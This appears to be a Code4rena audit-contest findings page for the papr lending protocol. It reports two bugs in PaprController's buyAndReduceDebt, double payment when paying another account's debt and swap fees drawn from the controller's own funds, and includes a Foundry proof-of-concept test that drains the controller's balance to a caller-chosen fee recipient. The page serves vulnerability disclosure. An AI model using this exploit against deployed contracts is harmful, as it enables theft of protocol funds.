Platform: Code4rena
Start Date: 16/12/2022
Pot Size: $60,500 USDC
Total HM: 12
Participants: 58
Period: 5 days
Judge: Trust
Total Solo HM: 4
Id: 196
League: ETH
Rank: 28/58
Findings: 2
Award: $133.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: HollaDieWaldfee
99.7808 USDC - $99.78
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L208-L232
If msg.sender
chooses to pay for some other account
's debt, then he has to pay double.
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L222
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L253
msg.sender
first has to pay the underlying tokens
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L217
the paprToken from the swap goes to account
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L229
controller then burns the papr tokens from msg.sender
VSCode
Noticed this last minute so haven't thought too much about it. But I think either msg.sender
should receive the papr tokens from the swap, or the controller should burn the papr tokens from account
#0 - c4-judge
2022-12-25T17:01:28Z
trust1995 marked the issue as satisfactory
#1 - c4-judge
2022-12-25T17:02:10Z
trust1995 marked the issue as duplicate of #112
#2 - c4-judge
2022-12-25T17:02:17Z
trust1995 marked the issue as partial-50
#3 - c4-judge
2023-01-06T15:21:29Z
trust1995 marked the issue as partial-25
🌟 Selected for report: Jeiwan
Also found by: 0x52, Franfran, HollaDieWaldfee, KingNFT, Saintcode_, bin2chen, evan, fs0c, noot, poirots, rvierdiiev, stealthyz, teawaterwire, unforgiven
33.3998 USDC - $33.40
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L208-L232
https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L225-L227 The best case scenario is that the paprController doesn't have any underlying tokens, in which case, buyAndReduceDebt won't work when there is a swapFee. Otherwise, paprController ends up paying for the swapFee. Even if there isn't a swap fee, the user can set an arbitrary swapFeeBips and send it to himself as the swapFeeTo.
Consider the following test. Before the borrower calls buyAndReduceDebt, the controller has an underlying balance of 1e10. After the borrower calls buyAndReduceDebt, its underlying balance decreases, which should not happen.
pragma solidity ^0.8.17; import {TickMath} from "fullrange/libraries/TickMath.sol"; import {BasePaprControllerTest} from "./BasePaprController.ft.sol"; import {IPaprController} from "../../src/interfaces/IPaprController.sol"; import {PaprController} from "../../src/PaprController.sol"; import {UniswapHelpers} from "../../src/libraries/UniswapHelpers.sol"; contract BuyAndReduceDebtVuln is BasePaprControllerTest { function testBuyAndReduceDebtReducesDebt() public { vm.startPrank(borrower); nft.approve(address(controller), collateralId); IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1); c[0] = collateral; controller.addCollateral(c); IPaprController.SwapParams memory swapParams = IPaprController.SwapParams({ amount: debt, minOut: 982507, sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: true}), swapFeeTo: address(0), swapFeeBips: 0 }); uint256 underlyingOut = controller.increaseDebtAndSell(borrower, collateral.addr, swapParams, oracleInfo); IPaprController.VaultInfo memory vaultInfo = controller.vaultInfo(borrower, collateral.addr); assertEq(vaultInfo.debt, debt); // assertEq(underlyingOut - underlyingOut*10/10000, underlying.balanceOf(borrower)); underlying.mint(address(controller), 1e10); assertEq(underlying.balanceOf(address(controller)), 1e10); uint256 fee = 10; underlying.approve(address(controller), underlyingOut + underlyingOut * fee / 1e4); swapParams = IPaprController.SwapParams({ amount: underlyingOut, minOut: 1, sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: false}), swapFeeTo: address(88), swapFeeBips: fee }); uint256 debtPaid = controller.buyAndReduceDebt(borrower, collateral.addr, swapParams); assertGt(debtPaid, 0); vaultInfo = controller.vaultInfo(borrower, collateral.addr); assertEq(vaultInfo.debt, debt - debtPaid); assertEq(underlying.balanceOf(swapParams.swapFeeTo), fee*underlyingOut/1e4); assertTrue(underlying.balanceOf(address(controller)) < 1e10); } }
VSCode, Foundry
I found this pretty much last minute so I haven't had too much thought about it. One potential solution is to do underlying.safeTransferFrom(msg.sender, params.swapFeeTo, amountIn * params.swapFeeBips / BIPS_ONE);
The BuyAndReduceDebt test should also be modified to use a non-zero fee. https://github.com/with-backed/papr/blob/master/test/paprController/BuyAndReduceDebt.t.sol#L29 As is, if this fee is set to a non-zero value, then this test will fail. Consider this as a secondary proof of concept.
#0 - c4-judge
2022-12-25T16:57:29Z
trust1995 marked the issue as duplicate of #20
#1 - c4-judge
2022-12-25T16:57:35Z
trust1995 marked the issue as satisfactory
#2 - C4-Staff
2023-01-10T22:32:21Z
JeeberC4 marked the issue as duplicate of #196